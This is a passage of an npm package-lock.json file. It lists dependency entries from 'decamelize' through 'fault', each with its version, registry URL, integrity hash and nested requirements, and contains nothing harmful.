"sha512-syBZ+rnAK3EgMsH2aYEOLUW7mZSY9Gb+0wUMCFsZvcmiz+HigA0LOcq/HoQqVuGG+EKykunc7QG2bzrponfaSw==", "dev": true }, "decamelize": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==" }, "decamelize-keys": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/decamelize-keys/-/decamelize-keys-1.1.0.tgz", "integrity": "sha512-ocLWuYzRPoS9bfiSdDd3cxvrzovVMZnRDVEzAs+hWIVXGDbHxWMECij2OBuyB/An0FFW/nLuq6Kv1i/YC5Qfzg==", "requires": { "decamelize": "^1.1.0", "map-obj": "^1.0.0" }, "dependencies": { "map-obj": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", "integrity": "sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==" } } }, "deep-is": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.3.tgz", "integrity": "sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=", "dev": true }, "defaults": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.3.tgz", "integrity": "sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=", "requires": { "clone": "^1.0.2" } }, "define-properties": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz", "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==", "dev": true, "requires": { "object-keys": "^1.0.12" } }, "deglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/deglob/-/deglob-2.1.1.tgz", "integrity": "sha512-2kjwuGGonL7gWE1XU4Fv79+vVzpoQCl0V+boMwWtOQJV2AGDabCwez++nB1Nli/8BabAfZQ/UuHPlp6AymKdWw==", "dev": true, "requires": { "find-root": "^1.0.0", "glob": "^7.0.5", "ignore": "^3.0.9", "pkg-config": "^1.1.0", "run-parallel": "^1.1.2", "uniq": "^1.0.1" }, "dependencies": { "ignore": { "version": "3.3.10", "resolved": "https://registry.npmjs.org/ignore/-/ignore-3.3.10.tgz", "integrity": "sha512-Pgs951kaMm5GXP7MOvxERINe3gsaVjUWFm+UZPSq9xYriQAksyhg0csnS0KXSNRD5NmNdapXEpjxG49+AKh/ug==", "dev": true } } }, "delayed-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" }, "detect-indent": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/detect-indent/-/detect-indent-6.1.0.tgz", "integrity": "sha512-reYkTUJAZb9gUuZ2RvVCNhVHdg62RHnJ7WJl8ftMi4diZ6NWlciOzQN88pUhSELEwflJht4oQDv0F0BMlwaYtA==", "dev": true }, "detect-newline": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/detect-newline/-/detect-newline-3.1.0.tgz", "integrity": "sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==", "dev": true }, "dezalgo": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/dezalgo/-/dezalgo-1.0.4.tgz", "integrity": "sha512-rXSP0bf+5n0Qonsb+SVVfNfIsimO4HEtmnIpPHY8Q1UCzKlQrDMfdobr8nJOOsRgWCyMRqeSBQzmWUMq7zvVig==", "dev": true, "requires": { "asap": "^2.0.0", "wrappy": "1" } }, "dir-glob": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", "dev": true, "requires": { "path-type": "^4.0.0" } }, "doctoc": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/doctoc/-/doctoc-2.2.1.tgz", "integrity": "sha512-qNJ1gsuo7hH40vlXTVVrADm6pdg30bns/Mo7Nv1SxuXSM1bwF9b4xQ40a6EFT/L1cI+Yylbyi8MPI4G4y7XJzQ==", "requires": { "@textlint/markdown-to-ast": "^12.1.1", "anchor-markdown-header": "^0.6.0", "htmlparser2": "^7.2.0", "minimist": "^1.2.6", "underscore": "^1.13.2", "update-section": "^0.3.3" } }, "doctrine": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz", "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", "dev": true, "requires": { "esutils": "^2.0.2" } }, "dom-serializer": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", "requires": { "domelementtype": "^2.0.1", "domhandler": "^4.2.0", "entities": "^2.0.0" }, "dependencies": { "entities": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==" } } }, "domelementtype": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==" }, "domhandler": { "version": "4.3.1", "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", "requires": { "domelementtype": "^2.2.0" } }, "domutils": { "version": "2.8.0", "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", "requires": { "dom-serializer": "^1.0.1", "domelementtype": "^2.2.0", "domhandler": "^4.2.0" } }, "dot-prop": { "version": "5.3.0", "resolved": "https://registry.npmjs.org/dot-prop/-/dot-prop-5.3.0.tgz", "integrity": "sha512-QM8q3zDe58hqUqjraQOmzZ1LIH9SWQJTlEKCH4kJ2oQvLZk7RbQXvtDM2XEq3fwkV9CCvvH4LA0AV+ogFsBM2Q==", "requires": { "is-obj": "^2.0.0" } }, "easy-table": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/easy-table/-/easy-table-1.1.0.tgz", "integrity": "sha1-hvmrTBAvA3G3KXuSplHVgkvIy3M=", "requires": { "wcwidth": ">=1.0.1" } }, "ecc-jsbn": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", "integrity": "sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=", "dev": true, "requires": { "jsbn": "~0.1.0", "safer-buffer": "^2.1.0" } }, "ecdsa-sig-formatter": { "version": "1.0.11", "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", "dev": true, "requires": { "safe-buffer": "^5.0.1" } }, "emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" }, "end-of-stream": { "version": "1.4.4", "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", "dev": true, "requires": { "once": "^1.4.0" } }, "enquirer": { "version": "2.3.6", "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", "dev": true, "requires": { "ansi-colors": "^4.1.1" } }, "entities": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/entities/-/entities-3.0.1.tgz", "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==" }, "error-ex": { "version": "1.3.2", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", "requires": { "is-arrayish": "^0.2.1" } }, "es-abstract": { "version": "1.13.0", "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.13.0.tgz", "integrity": "sha512-vDZfg/ykNxQVwup/8E1BZhVzFfBxs9NqMzGcvIJrqg5k2/5Za2bWo40dK2J1pgLngZ7c+Shh8lwYtLGyrwPutg==", "dev": true, "requires": { "es-to-primitive": "^1.2.0", "function-bind": "^1.1.1", "has": "^1.0.3", "is-callable": "^1.1.4", "is-regex": "^1.0.4", "object-keys": "^1.0.12" } }, "es-to-primitive": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.2.0.tgz", "integrity": "sha512-qZryBOJjV//LaxLTV6UC//WewneB3LcXOL9NP++ozKVXsIIIpm/2c13UDiD9Jp2eThsecw9m3jPqDwTyobcdbg==", "dev": true, "requires": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "escalade": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" }, "escape-string-regexp": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" }, "eslint": { "version": "5.4.0", "resolved": "https://registry.npmjs.org/eslint/-/eslint-5.4.0.tgz", "integrity": "sha512-UIpL91XGex3qtL6qwyCQJar2j3osKxK9e3ano3OcGEIRM4oWIpCkDg9x95AXEC2wMs7PnxzOkPZ2gq+tsMS9yg==", "dev": true, "requires": { "ajv": "^6.5.0", "babel-code-frame": "^6.26.0", "chalk": "^2.1.0", "cross-spawn": "^6.0.5", "debug": "^3.1.0", "doctrine": "^2.1.0", "eslint-scope": "^4.0.0", "eslint-utils": "^1.3.1", "eslint-visitor-keys": "^1.0.0", "espree": "^4.0.0", "esquery": "^1.0.1", "esutils": "^2.0.2", "file-entry-cache": "^2.0.0", "functional-red-black-tree": "^1.0.1", "glob": "^7.1.2", "globals": "^11.7.0", "ignore": "^4.0.2", "imurmurhash": "^0.1.4", "inquirer": "^5.2.0", "is-resolvable": "^1.1.0", "js-yaml": "^3.11.0", "json-stable-stringify-without-jsonify": "^1.0.1", "levn": "^0.3.0", "lodash": "^4.17.5", "minimatch": "^3.0.4", "mkdirp": "^0.5.1", "natural-compare": "^1.4.0", "optionator": "^0.8.2", "path-is-inside": "^1.0.2", "pluralize": "^7.0.0", "progress": "^2.0.0", "regexpp": "^2.0.0", "require-uncached": "^1.0.3", "semver": "^5.5.0", "strip-ansi": "^4.0.0", "strip-json-comments": "^2.0.1", "table": "^4.0.3", "text-table": "^0.2.0" }, "dependencies": { "ansi-regex": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", "dev": true }, "strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { "ansi-regex": "^3.0.0" } } } }, "eslint-config-standard": { "version": "12.0.0", "resolved": "https://registry.npmjs.org/eslint-config-standard/-/eslint-config-standard-12.0.0.tgz", "integrity": "sha512-COUz8FnXhqFitYj4DTqHzidjIL/t4mumGZto5c7DrBpvWoie+Sn3P4sLEzUGeYhRElWuFEf8K1S1EfvD1vixCQ==", "dev": true }, "eslint-config-standard-jsx": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/eslint-config-standard-jsx/-/eslint-config-standard-jsx-6.0.2.tgz", "integrity": "sha512-D+YWAoXw+2GIdbMBRAzWwr1ZtvnSf4n4yL0gKGg7ShUOGXkSOLerI17K4F6LdQMJPNMoWYqepzQD/fKY+tXNSg==", "dev": true }, "eslint-import-resolver-node": { "version": "0.3.2", "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.2.tgz", "integrity": "sha512-sfmTqJfPSizWu4aymbPr4Iidp5yKm8yDkHp+Ir3YiTHiiDfxh69mOUsmiqW6RZ9zRXFaF64GtYmN7e+8GHBv6Q==", "dev": true, "requires": { "debug": "^2.6.9", "resolve": "^1.5.0" }, "dependencies": { "debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "requires": { "ms": "2.0.0" } }, "ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true } } }, "eslint-module-utils": { "version": "2.4.0", "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.4.0.tgz", "integrity": "sha512-14tltLm38Eu3zS+mt0KvILC3q8jyIAH518MlG+HO0p+yK885Lb1UHTY/UgR91eOyGdmxAPb+OLoW4znqIT6Ndw==", "dev": true, "requires": { "debug": "^2.6.8", "pkg-dir": "^2.0.0" }, "dependencies": { "debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "requires": { "ms": "2.0.0" } }, "ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true } } }, "eslint-plugin-es": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/eslint-plugin-es/-/eslint-plugin-es-1.4.0.tgz", "integrity": "sha512-XfFmgFdIUDgvaRAlaXUkxrRg5JSADoRC8IkKLc/cISeR3yHVMefFHQZpcyXXEUUPHfy5DwviBcrfqlyqEwlQVw==", "dev": true, "requires": { "eslint-utils": "^1.3.0", "regexpp": "^2.0.1" } }, "eslint-plugin-import": { "version": "2.14.0", "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.14.0.tgz", "integrity": "sha512-FpuRtniD/AY6sXByma2Wr0TXvXJ4nA/2/04VPlfpmUDPOpOY264x+ILiwnrk/k4RINgDAyFZByxqPUbSQ5YE7g==", "dev": true, "requires": { "contains-path": "^0.1.0", "debug": "^2.6.8", "doctrine": "1.5.0", "eslint-import-resolver-node": "^0.3.1", "eslint-module-utils": "^2.2.0", "has": "^1.0.1", "lodash": "^4.17.4", "minimatch": "^3.0.3", "read-pkg-up": "^2.0.0", "resolve": "^1.6.0" }, "dependencies": { "debug": { "version": "2.6.9", "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", "dev": true, "requires": { "ms": "2.0.0" } }, "doctrine": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-1.5.0.tgz", "integrity": "sha1-N53Ocw9hZvds76TmcHoVmwLFpvo=", "dev": true, "requires": { "esutils": "^2.0.2", "isarray": "^1.0.0" } }, "ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", "dev": true } } }, "eslint-plugin-node": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/eslint-plugin-node/-/eslint-plugin-node-7.0.1.tgz", "integrity": "sha512-lfVw3TEqThwq0j2Ba/Ckn2ABdwmL5dkOgAux1rvOk6CO7A6yGyPI2+zIxN6FyNkp1X1X/BSvKOceD6mBWSj4Yw==", "dev": true, "requires": { "eslint-plugin-es": "^1.3.1", "eslint-utils": "^1.3.1", "ignore": "^4.0.2", "minimatch": "^3.0.4", "resolve": "^1.8.1", "semver": "^5.5.0" } }, "eslint-plugin-promise": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/eslint-plugin-promise/-/eslint-plugin-promise-4.0.1.tgz", "integrity": "sha512-Si16O0+Hqz1gDHsys6RtFRrW7cCTB6P7p3OJmKp3Y3dxpQE2qwOA7d3xnV+0mBmrPoi0RBnxlCKvqu70te6wjg==", "dev": true }, "eslint-plugin-react": { "version": "7.11.1", "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.11.1.tgz", "integrity": "sha512-cVVyMadRyW7qsIUh3FHp3u6QHNhOgVrLQYdQEB1bPWBsgbNCHdFAeNMquBMCcZJu59eNthX053L70l7gRt4SCw==", "dev": true, "requires": { "array-includes": "^3.0.3", "doctrine": "^2.1.0", "has": "^1.0.3", "jsx-ast-utils": "^2.0.1", "prop-types": "^15.6.2" } }, "eslint-plugin-standard": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/eslint-plugin-standard/-/eslint-plugin-standard-4.0.0.tgz", "integrity": "sha512-OwxJkR6TQiYMmt1EsNRMe5qG3GsbjlcOhbGUBY4LtavF9DsLaTcoR+j2Tdjqi23oUwKNUqX7qcn5fPStafMdlA==", "dev": true }, "eslint-scope": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz", "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==", "dev": true, "requires": { "esrecurse": "^4.1.0", "estraverse": "^4.1.1" } }, "eslint-utils": { "version": "1.4.3", "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-1.4.3.tgz", "integrity": "sha512-fbBN5W2xdY45KulGXmLHZ3c3FHfVYmKg0IrAKGOkT/464PQsx2UeIzfz1RmEci+KLm1bBaAzZAh8+/E+XAeZ8Q==", "dev": true, "requires": { "eslint-visitor-keys": "^1.1.0" }, "dependencies": { "eslint-visitor-keys": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz", "integrity": "sha512-8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A==", "dev": true } } }, "eslint-visitor-keys": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.0.0.tgz", "integrity": "sha512-qzm/XxIbxm/FHyH341ZrbnMUpe+5Bocte9xkmFMzPMjRaZMcXww+MpBptFvtU+79L362nqiLhekCxCxDPaUMBQ==", "dev": true }, "espree": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/espree/-/espree-4.1.0.tgz", "integrity": "sha512-I5BycZW6FCVIub93TeVY1s7vjhP9CY6cXCznIRfiig7nRviKZYdRnj/sHEWC6A7WE9RDWOFq9+7OsWSYz8qv2w==", "dev": true, "requires": { "acorn": "^6.0.2", "acorn-jsx": "^5.0.0", "eslint-visitor-keys": "^1.0.0" } }, "esprima": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", "dev": true }, "esquery": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.0.1.tgz", "integrity": "sha512-SmiyZ5zIWH9VM+SRUReLS5Q8a7GxtRdxEBVZpm98rJM7Sb+A9DVCndXfkeFUd3byderg+EbDkfnevfCwynWaNA==", "dev": true, "requires": { "estraverse": "^4.0.0" } }, "esrecurse": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", "dev": true, "requires": { "estraverse": "^4.1.0" } }, "estraverse": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.2.0.tgz", "integrity": "sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=", "dev": true }, "esutils": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.2.tgz", "integrity": "sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=", "dev": true }, "eventemitter2": { "version": "6.4.4", "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-6.4.4.tgz", "integrity": "sha512-HLU3NDY6wARrLCEwyGKRBvuWYyvW6mHYv72SJJAH3iJN3a6eVUvkjFkcxah1bcTgGVBBrFdIopBJPhCQFMLyXw==", "dev": true }, "execa": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/execa/-/execa-4.1.0.tgz", "integrity": "sha512-j5W0//W7f8UxAn8hXVnwG8tLwdiUy4FJLcSupCg6maBYZDpyBvTApK7KyuI4bKj8KOh1r2YH+6ucuYtJv1bTZA==", "dev": true, "requires": { "cross-spawn": "^7.0.0", "get-stream": "^5.0.0", "human-signals": "^1.1.1", "is-stream": "^2.0.0", "merge-stream": "^2.0.0", "npm-run-path": "^4.0.0", "onetime": "^5.1.0", "signal-exit": "^3.0.2", "strip-final-newline": "^2.0.0" }, "dependencies": { "cross-spawn": { "version": "7.0.3", "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", "dev": true, "requires": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", "which": "^2.0.1" } }, "path-key": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", "dev": true }, "shebang-command": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", "dev": true, "requires": { "shebang-regex": "^3.0.0" } }, "shebang-regex": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", "dev": true }, "which": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", "dev": true, "requires": { "isexe": "^2.0.0" } } } }, "executable": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/executable/-/executable-4.1.1.tgz", "integrity": "sha512-8iA79xD3uAch729dUG8xaaBBFGaEa0wdD2VkYLFHwlqosEj/jT66AzcreRDSgV7ehnNLBW2WR5jIXwGKjVdTLg==", "dev": true, "requires": { "pify": "^2.2.0" } }, "extend": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" }, "external-editor": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-2.2.0.tgz", "integrity": "sha512-bSn6gvGxKt+b7+6TKEv1ZycHleA7aHhRHyAqJyp5pbUFuYYNIzpZnQDk7AsYckyWdEnTeAnay0aCy2aV6iTk9A==", "dev": true, "requires": { "chardet": "^0.4.0", "iconv-lite": "^0.4.17", "tmp": "^0.0.33" } }, "extract-zip": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz", "integrity": "sha512-GDhU9ntwuKyGXdZBUgTIe+vXnWj0fppUEtMDL0+idd5Sta8TGpHssn/eusA9mrPr9qNDym6SxAYZjNvCn/9RBg==", "dev": true, "requires": { "@types/yauzl": "^2.9.1", "debug": "^4.1.1", "get-stream": "^5.1.0", "yauzl": "^2.10.0" }, "dependencies": { "debug": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "requires": { "ms": "2.1.2" } } } }, "extsprintf": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", "dev": true }, "fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", "dev": true }, "fast-glob": { "version": "3.2.11", "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", "dev": true, "requires": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", "micromatch": "^4.0.4" } }, "fast-json-stable-stringify": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz", "integrity": "sha1-1RQsDK7msRifh9OnYREGT4bIu/I=", "dev": true }, "fast-levenshtein": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", "dev": true }, "fast-safe-stringify": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==" }, "fastq": { "version": "1.13.0", "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", "dev": true, "requires": { "reusify": "^1.0.4" } }, "fault": { "version": "1.0.4", "resolved": 